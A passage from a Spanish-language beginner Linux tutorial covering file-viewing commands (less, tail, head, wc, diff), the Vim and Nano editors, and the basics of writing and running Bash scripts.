</code></pre><p>Esto mostrará todos los contenidos del archivo en la termina de una sola vez.</p><h4 id="ver-archivos-de-texto-de-forma-interactiva-usando-less-y-more">Ver archivos de texto de forma interactiva usando <code>less</code> y <code>more</code></h4><p>Mientras que <code>cat</code> muestra todo el archivo de una sola vez, <code>less</code> y <code>more</code> te permite ver los contenidos de un archivo de forma interactiva. Esto es útil cuando quieres desplazarte a través de un archivo grande o buscar por contenido específico.</p><p>La sintaxis del comando <code>less</code> es:</p><pre><code class="language-bash">less [opciones] [archivo]
</code></pre><p>El comando <code>more</code> es similar a <code>less</code> pero tiene menos características. Se usa para mostrar los contenidos de un archivo en una pantalla a la vez.</p><p>La sintaxis del comando <code>more</code> es:</p><pre><code class="language-bash">more [opciones] [archivo]
</code></pre><p>Para ambos comandos, puedes usar el <code>la barra de espacio</code> para desplazarte a una página abajo, la tecla <code>Enter</code> para desplazarte una línea abajo, y la tecla <code>q</code> para salir del visualizador.</p><p>Para moverte hacia atrás puedes usar la tecla <code>b</code>, y para moverte hacia adelante puedes usar la tecla <code>f</code>.</p><h4 id="mostrando-la-ltima-parte-de-los-archivos-usando-tail">Mostrando la última parte de los archivos usando <code>tail</code></h4><p>A veces podrías necesitar ver solo las últimas líneas de un archivo en vez de todo el archivo. El comando <code>tail</code> en Linux se usa para mostrar la última parte de un archivo.</p><p>Por ejemplo, <code>tail file.txt</code> mostrará las últimas 10 líneas del archivo <code>file.txt</code> por defecto.</p><p>Si quieres mostrar un número distinto de líneas, puedes usar la opción <code>-n</code> seguido del número de líneas que quieres mostrar.</p><pre><code class="language-bash"># Muestra las últimas 50 líneas del archivo file.txt
tail -n 50 file.txt
</code></pre><p>💡<strong>Consejo:</strong> Otro uso de <code>tail</code> es su opción inmediata (<code>-f</code>). Esta opción te permite ver los contenidos de un archivo a medida que están siendo escritos. Esto es una utilidad útil para ver y monitorear archivos log en tiempo real.</p><h4 id="mostrar-el-comienzo-de-los-archivos-usando-head">Mostrar el comienzo de los archivos usando <code>head</code></h4><p>Así como <code>tail</code> muestra la última parte de un archivo, puedes usar el comando <code>head</code> en Linux para mostrar el inicio de un archivo.</p><p>Por ejemplo, <code>head file.txt</code> mostrará las 10 primera líneas del archivo <code>file.txt</code> por defecto.</p><p>Para cambiar el número de líneas mostradas, puedes usar la opción <code>-n</code> seguido del número de líneas que quieres mostrar.</p><h4 id="contando-palabras-l-neas-y-caracteres-usando-wc">Contando palabras, líneas, y caracteres usando <code>wc</code></h4><p>Puedes contar palabras, líneas y caracteres en un archivo usando el comando <code>wc</code>.</p><p>Por ejemplo, ejecutando <code>wc syslog.log</code> me dio la siguiente salida:</p><pre><code class="language-bash">1669 9623 64367 syslog.log
</code></pre><p>En la salida de arriba,</p><ul><li><code>1669</code> representa el número de líneas en el archivo <code>syslog.log</code>.</li><li><code>9623</code> representa el número de palabras en el archivo <code>syslog.log</code>.</li><li><code>64367</code> representa el número de caracteres en el archivo <code>syslog.log</code>.</li></ul><p>Así que, el comando <code>wc syslog.log</code> contó <code>1669</code> líneas <code>9623</code> palabras, y <code>64367</code> caracteres en el archivo <code>syslog.log</code>.</p><h4 id="comparando-archivo-l-nea-por-l-nea-usando-diff">Comparando archivo línea por línea usando <code>diff</code></h4><p>Comparando y encontrando diferencias entre dos archivos es una tarea común en Linux. Puedes comparar dos archivos justo en la línea de comandos usando el comando <code>diff</code>.</p><p>La sintaxis básica del comando <code>diff</code> es:</p><pre><code class="language-bash">diff [opciones] archivo1 archivo2
</code></pre><p>Aquí hay dos archivos, <code>hello.py</code> y <code>also-hello.py</code>, que compararemos usando el comando <code>diff</code>:</p><pre><code class="language-bash"># contenido de hello.py

def greet(name):
    return f"Hola, {name}!"

user = input("Ingresa tu nombre: ")
print(greet(user))
# contenido de also-hello.py

more also-hello.py
def greet(name):
    return fHola, {name}!

user = input(Ingresa tu nombre: )
print(greet(user))
print("¡Un placer en conocerte!")
</code></pre><ol><li>Verifica si los archivos son similares o no.</li></ol><pre><code class="language-bash">diff -q hello.py also-hello.py
# Salida
Files hello.py and also-hello.py differ
</code></pre><p>2. &nbsp; Ve cómo los archivos difieren. Para eso, puedes usar el argumento <code>-u</code> para ver una salida unificada:</p><pre><code class="language-bash">diff -u hello.py also-hello.py
--- hello.py    2024-05-24 18:31:29.891690478 +0500
+++ also-hello.py    2024-05-24 18:32:17.207921795 +0500
@@ -3,4 +3,5 @@

 user = input(Ingresa tu nombre: )
 print(greet(user))
+print("Un placer en conocerte")
</code></pre><p>En la salida de arriba:</p><ul><li><code>--- hello.py 2024-05-24 18:31:29.891690478 +0500</code> indica el archivo siendo comparado y su marca de tiempo.</li><li><code>+++ also-hello.py 2024-05-24 18:32:17.207921795 +0500</code> indica el otro archivo siendo comparado y su marca de tiempo.</li><li><code>@@ -3,4 +3,5 @@</code> muestra los número de línea donde los cambios ocurren. En estecaos, indica que las líneas 3 a 4 en el archivo original ha cambiado a las líneas 3 a 5 en el archivo modificado.</li><li><code>user = input(Ingresa tu nombre: )</code> es una línea del archivo original.</li><li><code>print(greet(user))</code> es otra línea del archivo original.</li><li><code>print("Un placer en conocerte")</code> es la línea adicional en el archivo modificado.</li></ul><p>3. &nbsp; Para ver el diff en un formato lado a lado, puedes usar el argumento <code>-y</code>:</p><pre><code class="language-bash">diff -y hello.py also-hello.py
# Salida
def greet(name):                        def greet(name):
    return fHola, {name}!                        return fHola, {name}!

user = input(Ingresa tu nombre: )                    user = input(Enter your name: )
print(greet(user))                        print(greet(user))
                                        &gt;    print("Un placer en conocerte")
</code></pre><p>En la salida:</p><ul><li>Las líneas que están en ambos archivos se muestran lado a lado.</li><li>Las líneas que son distintas se muestran con un símbolo <code>&gt;</code> indicando que la línea está presente solamente en uno de los archivos.</li></ul><!--kg-card-begin: html--><h2 id="parte-5-esencial-sobre-edicion-texto-linux">Parte 5: Lo Esencial sobre Edición de Texto en Linux</h2><!--kg-card-end: html--><p>Las habilidades de edición de texto usando la línea de comandos son una de las habilidades más cruciales en Linux. En esta sección, aprenderás cómo usar dos editores de textos populares en Linux: Vim y Nano.</p><p>Te sugiero que domines cualquier editor de texto de tu gusto y apegarte a él. Te ahorrará tiempo y te hará más productivo. Vim y nano son opciones seguras ya que están presentes en la mayoría de las distribuciones de Linux.</p><!--kg-card-begin: html--><h3 id="dominando-vim-guia-completa">5.1. Dominando Vim: La Guía Completa</h3><!--kg-card-end: html--><h4 id="introducci-n-a-vim">Introducción a Vim</h4><p>Vim es una herramienta de edición de texto popular para la línea de comandos. Vim tiene sus ventajas: es poderoso, personalizable, y rápido. Aquí hay algunas razones de por qué deberías considerar aprender Vim:</p><ul><li>La mayoría de los servidores son accedidos a través de un CLI, así que en administración de sistemas, no es necesario que tengas los lujos de un GUI. Pero Vim te respalda – siempre estarás allí.</li><li>Vim usa un enfoque centrado al teclado, ya que está diseñado para ser usado sin un ratón, lo cual puede acelerar significativamente las tareas de edición una vez que has aprendido los atajos de teclado. Esto también lo hace más rápido que las herramientas GUI.</li><li>Algunas utilidades de Linux, por ejemplo edición de <em>cron jobs</em>, funcionan en el mismo formato de edición como Vim.</li><li>Vim es apropiado para todos – usuarios principiantes y avanzados. Vim suporta búsquedas de cadena complejas, resaltación de búsquedas, y mucho más. A través de los plugins, Vim provee capacidades extendidas para los desarrolladores y administradores de sistema que incluyen completación de código, resaltación de sintaxis, gestión de archivos, control de versiones, y más.</li></ul><p>Vim tiene dos variaciones: Vim (<code>vim</code>) y Vim pequeño (<code>vi</code>). Vim pequeño es una versión más pequeña de Vim que carece de algunas características de Vim.</p><h4 id="c-mo-comenzar-usando-vim">Cómo comenzar usando <code>vim</code></h4><p>Comienza usando Vim con este comando:</p><pre><code class="language-bash">vim your-file.txt
</code></pre><p><code>your-file.txt</code> puede ser un nuevo archivo o un archivo existente que quieres editar.</p><h4 id="navegando-con-vim-dominando-modos-de-movimiento-y-comando">Navegando con Vim: Dominando modos de movimiento y comando</h4><p>A principios del CLI, los teclados no tenían teclas de flecha. Por lo tanto, la navegación se hacía usando el conjunto de teclas disponibles, <code>hjkl</code> siendo uno de ellos.</p><p>Siendo centrado al teclado, usando las teclas <code>hjkl</code> pueden acelerar inmensamente las tareas de edición de texto.</p><p>Nota: aunque las teclas de flecha funcionan bien totalmente, todavías puedes experimentar con las teclas <code>hjkl</code> para navegar. Algunas personas encuentran esta forma de navegar eficiente.</p><p>💡<strong>Consejo:</strong> Para recordar la secuencia de <code>hjkl</code>, usa esto: <strong>h</strong>ang back, <strong>j</strong>ump down, <strong>k</strong>ick up, <strong>l</strong>eap forward (quedarse atrás, saltar hacia abajo, patear, saltar hacia adelante).</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719392462442/1a667ede-5f03-4acb-b40f-b10cefc64de3.png" class="kg-image" alt="hjkl navigation guide" width="471" height="274" loading="lazy"></figure><h4 id="los-tres-modos-de-vim">Los tres modos de Vim</h4><p>Necesitas conocer los 3 modos de operando de Vim y cómo cambiarlos. Las pulsaciones de teclas se comportan de forma distinta en cada modo de comando. Los tres modos son los siguientes:</p><ol><li>Modo comando.</li><li>Modo edición.</li><li>Modo Visual.</li></ol><p><strong>Modo Comando.</strong> Cuando comienzas con Vim, llegas al modo comando por defecto. Este modo te permite acceder a otros módulos.</p><p>⚠ Para cambiar a otros modos, necesitas estar presente en el modo comando primero.</p><p><strong>Modo edición</strong></p><p>Este modo te permite hacer cambios al archivo. Para entrar el modo edición, presiona <code>I</code> mientras estás en modo comando. Fíjate el conmutador <code>'-- INSERT'</code> al final de la pantalla.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719392526710/d44cecd7-64be-4c89-9a31-dbf395b77fcb.png" class="kg-image" alt="Insert mode in Vim" width="433" height="345" loading="lazy"></figure><p><strong>Modo visual</strong></p><p>Este modo te permite trabajar en un solo caracter, un bloque de texto, o líneas de texto. Vamos a descomponerlo en pasos sencillos. Recuerda, usa las combinaciones de abajo cuando estés en modo comando.</p><ul><li><code>Shift + V</code> → Selecciona múltiples líneas.</li><li><code>Ctrl + V</code> → Modo bloque.</li><li><code>V</code> → Mode caracter.</li></ul><p>El modo visual viene bien cuando necesitas copiar y pegar o editar líneas en masa.</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719392557097/b61a1515-cac0-4470-856b-b2c15de581e8.gif" class="kg-image" alt="Selectind text using visual mode" width="673" height="422" loading="lazy"></figure><p><strong>Modo comando extendido.</strong></p><p>El modo comando extendido te permite realizar operaciones avanzadas como buscar, establecer números de líneas, y resaltar texto. Cubriremos el modo extendido en la próxima sección.</p><p>¿Cómo mantener el rumbo? Si te olvidas de tu modo actual, solo presiona <code>ESC</code> dos veces y estarás de vuelta en Modo Comando.</p><h4 id="editando-eficientemente-en-vim-copiar-pegar-y-buscar">Editando eficientemente en Vim: Copiar/pegar y buscar</h4><p><strong>1. Cómo copiar y pegar en Vim</strong></p><p>Copiar-pegar es conocido como 'yank' y 'put' en términos de Linux. Para copiar-pegar, sigue estos pasos:</p><ul><li>Selecciona texto en modo visual.</li><li>Presiona <code>'y'</code> para copiar/ yank.</li><li>Mueve tu cursor a la posición requerida y presiona <code>'p'</code>.</li></ul><p><strong>2. Cómo buscar texto en Vim</strong></p><p>Cualquier serie de cadenas puede ser buscado con Vim usando el <code>/</code> en modo comando. Para buscar, usa <code>/string-to-match</code>.</p><p>En el modo comando, escribe <code>:set hls</code> y presiona <code>enter</code>. Busca usando <code>/string-to-match</code>. Esto resaltará las búsquedas.</p><p>Busqueamos unas pocas cadenas:</p><figure class="kg-card kg-image-card"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1719392684097/11c4a45e-0698-4fb7-bef7-f193684ea21a.gif" class="kg-image" alt="Highlighting searches in Vim" width="800" height="409" loading="lazy"></figure><p><strong>3. Cómo salir de Vim</strong></p><p>Primero, pásate a modo comando (presionando escape dos veces) y luego usa estos argumentos:</p><ul><li>Salir sin guardar → <code>:q!</code></li><li>Salir y guardar → <code>:wq!</code></li></ul><h4 id="atajos-en-vim-haciendo-la-edici-n-m-s-r-pido">Atajos en Vim: Haciendo la edición más rápido</h4><p>Nota: todos estos atajos funcionan solamente en el modo comando.</p><ul><li><strong>Navegación básica</strong></li><li><code>h</code>: Mover a la izquierda</li><li><code>j</code>: Mover hacia abajo</li><li><code>k</code>: Mover hacia arriba</li><li><code>l</code>: Mover a la derecha</li><li><code>0</code>: Mover al principio de la línea</li><li><code>$</code>: Mover al final de la línea</li><li><code>gg</code>: Mover al principio del archivo</li><li><code>G</code>: Mover al final del archivo</li><li><code>Ctrl+d</code>: Mover media página hacia abajo</li><li><code>Ctrl+u</code>: Mover media página hacia arriba</li><li><strong>Editando</strong></li><li><code>i</code>: Ingresa modo insertar antes del cursor</li><li><code>I</code>: Ingresa el modo instertar al principio de la línea</li><li><code>a</code>: Ingresa el modo insertar después del cursor</li><li><code>A</code>: Ingresa el modo insertar al final de la línea</li><li><code>o</code>: Abre una nueva línea debajo de la línea actual e ingresa el modo insertar</li><li><code>O</code>: Abre una nueva línea arriba de la línea actual e ingresa el modo insertar</li><li><code>x</code>: Elimina el caracter debajo del cursor</li><li><code>dd</code>: Elimina la línea actual</li><li><code>yy</code>: Yank (copia) la línea actual (usa esto en modo visual)</li><li><code>p</code>: Pegar debajo del cursor</li><li><code>P</code>: Pegar arriba del cursor</li><li><strong>Buscando y Reemplazando</strong></li><li><code>/</code>: Buscar un patrón el cual te llevará a la próxima ocurriencia</li><li><code>?</code>: Buscar un patrón que te llevará a la ocurrencia previa</li><li><code>n</code>: Repite la última búsqueda en la misma dirección</li><li><code>N</code>: Repite la última búsqueda en la dirección opuesta</li><li><code>:%s/old/new/g</code>: Reemplaza todas las ocurrencias de <code>old</code> con <code>new</code> en el archivo</li><li><strong>Saliendo</strong></li><li><code>:w</code>: Guarda el archivo pero no sale</li><li><code>:q</code>: Sale de Vim (falla si hay cambios no guardados)</li><li><code>:wq</code> or <code>:x</code>: Guardar y sale</li><li><code>:q!</code>: Sale sin guardar</li><li><strong>Múltiples Ventanas</strong></li><li><code>:split</code> or <code>:sp</code>: Divide la ventana horizontalmente</li><li><code>:vsplit</code> or <code>:vsp</code>: Divide la ventana verticalmente</li><li><code>Ctrl+w followed by h/j/k/l</code>: Navega entre ventanas divididas	</li></ul><!--kg-card-begin: html--><h3 id="dominando-nano">5.2. Dominando Nano</h3><!--kg-card-end: html--><h4 id="comenzando-con-nano-el-editor-de-texto-amigable">Comenzando con Nano: El editor de texto amigable</h4><p>Nano es un editor de texto amigable que es fácil de usar y es perfecto para los principiantes. Está pre-instalado en la mayoría de las distribuciones de Linux.</p><p>Para crear un nuevo archivo usando Nano, usa el siguiente comando:</p><pre><code class="language-bash">nano
</code></pre><p>Para empezar a editar un archivo existente con Nano, usa el siguiente comando:</p><pre><code class="language-bash">nano filename
</code></pre><h4 id="lista-de-combinaciones-de-tecla-en-nano">Lista de combinaciones de tecla en Nano</h4><p>Estudiemos las combinaciones de tecla más importantes en Nano. Usará las combinaciones de tecla para realizar varias operaciones como guardar, salir, copiar, pegar, y más.</p><p><strong>Escribir a un archivo y guardar</strong></p><p>Una vez que abres Nano usando el comando <code>nano</code>, puedes comenzar con escribir texto. Para guardar el archivo, presiona <code>Ctrl+O</code>. Te aparecerá una ventana para que ingreses el nombre del archivo. Presiona <code>Enter</code> para guardar el archivo.</p><p><strong>Salir de nano</strong></p><p>Puedes salir de Nano presionando <code>Ctrl+X</code>. Si tienes cambios no guardados, Nano te mostrará una ventana para guardar los cambios antes de salir.</p><p><strong>Copiar y pegar</strong></p><p>Para seleccionar una región, usa <code>ALT+A</code>. Un marcador aparecerá. Usa las flechas para seleccionar el texto. Una vez seleccionado, sale del marcador con <code>ALT+^</code>.</p><p>Para copiar el texto seleccionado, presiona <code>Ctrl+K</code>. Para guardar el texto copiado, presiona <code>Ctrl+U</code>.</p><p><strong>Cortar y pegar</strong></p><p>Selecciona la región con <code>ALT+A</code>. Una vez seleccionado, corta el texto con <code>Ctrl+K</code>. Para pegar el texto cortado, presiona <code>Ctrl+U</code>.</p><p><strong>Navegación</strong></p><p>Usa <code>Alt \</code> para moverte al principio del archivo.</p><p>Usa <code>Alt /</code> para moverte al final del archivo.</p><p><strong>Viendo números de línea</strong></p><p>Cuando abres un archivo con <code>nano -l filename</code>, puedes ver los números de línea en el lado izquierdo del archivo.</p><p><strong>Buscando</strong></p><p>Puedes buscar un número de línea específico con <code>ALt + G</code>. Ingresa el número de línea al prompt y presiona <code>Enter</code>.</p><p>También puedes iniciar una búsqueda de una cadena con <code>CTRL + W</code> y presiona Enter. Si quieres buscar hacia atrás, puedes presionar <code>Alt + W</code> después de iniciar la búsqueda con <code>Ctrl + W</code>.</p><h4 id="resumen-de-combinaciones-de-tecla-en-nano">Resumen de combinaciones de tecla en Nano</h4><ul><li><strong>General</strong></li><li><code>Ctrl+X</code>: Sale de Nano (sale una ventana para guarda si se hacen cambios)</li><li><code>Ctrl+O</code>: Guarda el archivo</li><li><code>Ctrl+R</code>: Lee un archivo en un archivo actual</li><li><code>Ctrl+G</code>: Muestra el texto de ayuda</li><li><strong>Editando</strong></li><li><code>Ctrl+K</code>: Corta la línea actual y lo almacena en el cutbuffer</li><li><code>Ctrl+U</code>: Guarda los contenidos del cutbuffer en la línea actual</li><li><code>Alt+6</code>: Copia la línea actual y lo almacena en el cutbuffer</li><li><code>Ctrl+J</code>: Justifica el párrafo actual</li><li><strong>Navigación</strong></li><li><code>Ctrl+A</code>: Se mueve al principio de la línea</li><li><code>Ctrl+E</code>: Se mueve al final de la línea</li><li><code>Ctrl+C</code>: Muestra el número de línea actual e información del archivo</li><li><code>Ctrl+_</code> (<code>Ctrl+Shift+-</code>): Va a un número de línea específica (y opcionalmente, una columna)</li><li><code>Ctrl+Y</code>: Se desplaza una página arriba</li><li><code>Ctrl+V</code>: Se desplaza una página abajo</li><li><strong>Buscar y Reemplazar</strong></li><li><code>Ctrl+W</code>: Buscar una cadena (luego <code>Enter</code> para búscar nuevamente)</li><li><code>Alt+W</code>: Repite la última búsqueda pero en la dirección opuesta</li><li><code>Ctrl+\</code>: Busca y reemplaza</li><li><strong>Misceláneos</strong></li><li><code>Ctrl+T</code>: Invoca el corrector ortográfico, si está disponible</li><li><code>Ctrl+D</code>: Elimina el caracter debajo del cursor (no lo corta)</li><li><code>Ctrl+L</code>: Refresca (redibuja) la ventana actual</li><li><code>Alt+U</code>: Deshace la última operación</li><li><code>Alt+E</code>: Rehace la última operación sin terminar</li></ul><!--kg-card-begin: html--><h2 id="parte-6-programacion-en-bash">Parte 6: La Programación en Bash</h2><!--kg-card-end: html--><!--kg-card-begin: html--><h3 id="definicion-de-los-scripts-bash">6.1. Definición de los scripts de Bash</h3><!--kg-card-end: html--><p>Un script de Bash es un archivo que contiene una secuencia de comandos que son ejecutados por el programa de bash línea por línea. Ter permite realizar una serie de acciones, tales como navegar a una carpeta específica, crear una carpeta, y lanzar un proceso usando la línea de comandos.</p><p>Al guardar comandos en un script, puedes repetir la misma secuencia de pasos múltiples veces y ejecutarlos al correr el script.</p><!--kg-card-begin: html--><h3 id="ventajas-scripts-bash">6.2. Ventajas de los scripts de Bash</h3><!--kg-card-end: html--><p>La programación en Bash es una herramienta poderosa y versátil para las tareas de administración de sistemas, gestionar los recursos del sistema, y realizar otras tareas de rutinas en sistemas Unix/Linux.</p><p>Algunas ventajas de la programación de scripts son:</p><ul><li><strong>Automatización</strong>: Los scripts de Shell te permiten automatizar tareas y procesos repetitivos, ahorrando tiempo y reducir el riesgo de errores que pueden ocurrir con la ejecución manual.</li><li><strong>Portabilidad</strong>: Los scripts de Shell pueden ser ejecutados en varias plataformas y sistemas operativos, incluyendo Unix, Linux, macOS, e inclusive Windows a través del uso de emuladores o máquinas virtuales.</li><li><strong>Flexibilidad</strong>: Los scripts de Shell son bastantes personalizables y pueden ser fácilmente modificados para adaptarse a requerimientos específicos. También pueden ser combinados con otros lenguajes de programación o utilidades para crear scripts más poderosos.</li><li><strong>Accesibilidad</strong>: Los scripts de Shell son fáciles de escribir y no requieren ninguna herramienta o software especial. Pueden ser editados usando cualquier editor de texto, y la mayoría de sistemas operativos tienen un intérprete de shell incorporado.</li><li><strong>Integración</strong>: Los scripts de Shell pueden ser integrados con otras herramientas y aplicaciones, tales como bases de datos, servidores web, y servicios de la nube, permitiendo automatización más complejo y tareas de gestión de sistema.</li><li><strong>Depuración</strong>: Los scripts de Shell son fáciles de depurar, y la mayoría de los shells tienen herramientas de depuración y reporte de errores incorporados que pueden ayudar a identificar y arreglar problemas rápidamente.</li></ul><!--kg-card-begin: html--><h3 id="vista-general-shell-bash-y-cli">6.3. Vista general del Shell de Bash y la Interfaz de Línea de Comandos</h3><!--kg-card-end: html--><p>Los términos "shell" y "bash" son frecuentemente usados de forma intercambiable. Pero hay una diferencia sutil entre los dos.</p><p>El término "shell" se refiere a un programa que provee una interfaz de línea de comandos para interactuar con un sistema operativo. Bash (Bourne-Again SHell) es uno de los shell de Unix/Linux más usado comúnmente y es la shell predeterminada en muchas distribuciones de Linux.</p><p>Hasta ahora, los comandos que has estado haciendo eran básicamente ingresados en un "shell".</p><p>Aunque Bash es un tipo de shell, hay otras shells disponibles también, tales como Korn shell (ksh), C shell (csh), y Z shell (zsh). Cada shell tiene su propia sintaxis y conjunto de características, pero todos comparten el mismo propósito común de proveer una interfaz de línea de comandos para interactuar con el sistema operativo.</p><p>Puedes determinar tu tipo de shell usando el comando <code>ps</code>:</p><pre><code class="language-markdown">ps
# output:

    PID TTY          TIME CMD
  20506 pts/0    00:00:00 bash &lt;--- the shell type
  20931 pts/0    00:00:00 ps
</code></pre><p>En resumen, mientras que "shell" es un término amplio que se refiere a cualquier programa que provee una interfaz de línea de comandos, "Bash" es un tipo específico de shell que es ampliamente usado en sistemas de Unix/Linux.</p><p>Nota: En esta sección, estaremos usando el shell "bash".</p><!--kg-card-begin: html--><h3 id="como-crear-y-ejecutar-scripts-bash">6.4. Cómo crear y ejecutar scripts de Bash</h3><!--kg-card-end: html--><p><strong>Convenciones de nombramiento de Script</strong></p><p>Por convención de nombramiento, los scripts de Bash terminan con <code>.sh</code>. Sin embargo, los scripts de bash se pueden ejecutar perfectamente sin la extensión <code>sh</code>.</p><p><strong>Agregando el Shebang</strong></p><p>Los scripts de Bash comienzan con un <code>shebang</code>. El <code>shebang</code> es una combinación de <code>bash #</code> y <code>bang !</code> seguido de la ruta del shell bash. Esta es la primer línea del script. El shebang le dice al shell para ejecutarlo a través del shell bash. Shebang es simplemente una ruta absoluta al intérprete del bash.</p><p>Abajo hay un ejemplo de la declaración del shebang.</p><pre><code class="language-bash">#!/bin/bash
</code></pre><p>Puedes encontrar tu ruta del shell bash (lo cual puede variar de lo de arriba) usando el comando:</p><pre><code class="language-bash">which bash
</code></pre><p><strong>Creando tu primer script de bash</strong></p><p>Nuestro primer script muesta un mensaje al usuario que ingrese una ruta. En retorno, sus contenidos serán listados.</p><p>Crea un archivo llamado <code>run_all.sh</code> usando cualquier editor de tu preferencia.</p><pre><code class="language-bash">vim run_all.sh
</code></pre><p>Agrega los siguientes comandos en tu archivo y guárdalo:</p><pre><code class="language-bash">#!/bin/bash
echo "Hoy es " `date`

echo -e "\ningresa la ruta a la carpeta"
read the_path

echo -e "\n tu ruta tiene los siguientes archivos y carpetas: "
ls $the_path
</code></pre><p>Echemos un vistazo más profundamente al script línea por línea. Estoy mostrando el mismo script nuevamente, pero esta vez con números de líneas.</p><pre><code class="language-bash">  1 #!/bin/bash
  2 echo "Hoy es " `date`
  3
  4 echo -e "\ningresa la ruta a la carpeta"
  5 read the_path
  6
  7 echo -e "\n tu ruta tiene los siguientes archivos y carpetas: "
  8 ls $the_path
</code></pre><ul><li><strong>Línea #1</strong>: El shebang (<code>#!/bin/bash</code>) apunta a la ruta del shell bash.</li><li><strong>Línea #2</strong>: El comando <code>echo</code> muestra la fecha y el tiempo actual en la terminal. Fíjate que el <code>date</code> está en comillas invertidas.</li><li><strong>Línea #4</strong>: Queremos que el usuario ingrese una ruta válida.</li><li><strong>Línea #5</strong>: El comando <code>read</code> lee la entrada y lo almacena en la variable <code>the_path</code>.</li><li><strong>Línea #8</strong>: El comando <code>ls</code> toma la variable con la ruta almacenada y muestra los archivos y las carpetas actuales.</li></ul><p><strong>Ejecutando el script de bash</strong></p><p>Para hacer que el script sea ejecutable, asigna permisos de ejecución a tu usuario usando este comando:</p><pre><code class="language-bash">chmod u+x run_all.sh
</code></pre><p>Aquí,</p><ul><li><code>chmod</code> modifica la propiedad de un archivo para el usuario actual :<code>u</code>.</li><li><code>+x</code> agrega los derechos de ejecución al usuario actual. Esto significa que el usuario quien es el propietario ahora puede ejecutar el script.</li><li><code>run_all.sh</code> es el archivo que deseamos ejecutar.</li></ul><p>Puedes ejecutar el script usando cualquier de los métodos mencionados:</p><ul><li><code>sh run_all.sh</code></li><li><code>bash run_all.sh</code></li><li><code>./run_all.sh</code></li></ul><p>Veámoslo la ejecución en acción 🚀</p><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/run-script-bash-2.gif" class="kg-image" alt="Running a bash script" width="600" height="400" loading="lazy"></figure><!--kg-card-begin: html--><h3 id="basico-programacion-bash">6.5. Lo básico de la Programación en Bash</h3><!--kg-card-end: html--><h4 id="comentarios-en-la-programaci-n-de-bash">Comentarios en la programación de bash</h4><p>Los comentarios comienzan con un <code>#</code> en la programación de bash. Esto significa que cualquier línea que comience con un <code>#</code> es un comentario y será ignorado por el intérprete.</p><p>Los comentarios son muy útiles en la documentación del código, y es una buena práctica agregarlos para ayudar a otros que entiendan el código.</p><p>Estos son ejemplos de comentarios:</p><pre><code class="language-bash"># Este es un comentario de ejemplo
# Estas dos líneas serán ignorados por el intérprete
</code></pre><h4 id="variables-y-tipos-de-datos-en-bash">Variables y tipos de datos en Bash</h4><p>Las variables te permiten almacenar datos. Puedes usar variables para leer, acceder, y manipular datos en tu script.</p><p>No hay tipos de datos en Bash. En Bash, una variable es capaz de almacenar valores numéricos, caracteres individuales, o cadenas de caracteres.</p><p>En Bash, puedes usar y establecer los valores de variable en las siguientes formas:</p><ol><li>Asignar el valor directamente:</li></ol><pre><code class="language-bash">country=Netherlands
</code></pre><p>2. &nbsp;Asignar el valor basado en la salida obtenido de un programa o comando, usando substitución de comando. Fíjate que <code>$</code> es requerido para acceder al valor de una variable existente.</p><pre><code class="language-bash">same_country=$country
</code></pre><p>Esto asigna el valor de <code>country</code> a la nueva variable <code>same_country</code>.</p><p>Para acceder el valor de la variable, adjunta <code>$</code> al nombre de la variable.</p><pre><code class="language-bash">country=Netherlands
echo $country
# salida
Netherlands
new_country=$country
echo $new_country
# salida
Netherlands
</code></pre><p>Arriba, puedes ver un ejemplo de asignamiento e impresión de valores de variable.</p><h4 id="convenciones-de-nombramiento-de-variable">Convenciones de nombramiento de Variable</h4><p>En la programación de Bash, lo siguiente son convenciones de nombramiento de variable:</p><ol><li>Los nombres de variables deberían comenzar con una letra o un guión bajo (<code>_</code>).</li><li>Los nombres de variables pueden contener letras, números, y guiones bajos (<code>_</code>).</li><li>Los nombres de variables son distinguen mayúsculas y minúsculas.</li><li>Los nombres de variables no deberían contener espacios o caracteres especiales.</li><li>Una nombres descriptivos que reflejan el propósito de la variable.</li><li>Evita usar palabras claves reservadas, tales como <code>if</code>, <code>then</code>, <code>else</code>, <code>fi</code>, y así sucesivamente como nombres de variables.</li></ol><p>Aquí hay algunos ejemplos de nombres de variables válidos en Bash:</p><pre><code class="language-bash">name
count
_var
myVar
MY_VAR
</code></pre><p>Y aquí hay algunos ejemplos de nombres de variables inválidos:</p><pre><code class="language-bash"># Nombres de variables inválidos

2ndvar (nombre de variable comienza con un número)
my var (nombre de variable contiene un espacio)
my-var (nombre de variable contains un guión)
</code></pre><p>Siguiendo estas convenciones de nombramiento ayudan en hacer que los scripts de Bash sean más legibles y más fáciles de mantener.</p><h4 id="entradas-y-salidas-en-scripts-de-bash">Entradas y salidas en scripts de Bash</h4><h4 id="recopilaci-n-de-entradas">Recopilación de entradas</h4><p>En esta sección, discutiremos algunos métodos para proveer entradas a nuestros scripts.</p><ol><li>Leer las entradas de usuario y almacenarlos en una variable</li></ol><p>Podemos leer la entrada de usuario usando el comando <code>read</code>.</p><pre><code class="language-bash">#!/bin/bash
echo "What's your name?"
read entered_name
echo -e "\nWelcome to bash tutorial" $entered_name
</code></pre><figure class="kg-card kg-image-card"><img src="https://www.freecodecamp.org/news/content/images/2023/03/name-sh.gif" class="kg-image" alt="Reading the name from a script" width="600" height="400" loading="lazy"></figure><p>2. &nbsp; Leer de un archivo</p><p>Este código lee cada línea de un archivo llamado <code>input.txt</code> y lo imprime a la terminal. Estudiaremos los bucles while más tarde en esta sección.</p><pre><code class="language-bash">while read line
do
  echo $line
done &lt; input.txt
</code></pre><p>3. &nbsp; Argumentos de línea de comandos</p><p>En un script de bash o función, <code>$1</code> denota el argumento inicial pasado, <code>$2</code> denota el segundo argumento pasado, y así sucesivamente.</p><p>Este script toma un nombre como argumento de línea de comandos e imprime un saludo personalizado.</p><pre><code class="language-bash">#!/bin/bash
echo "Hello, $1!"
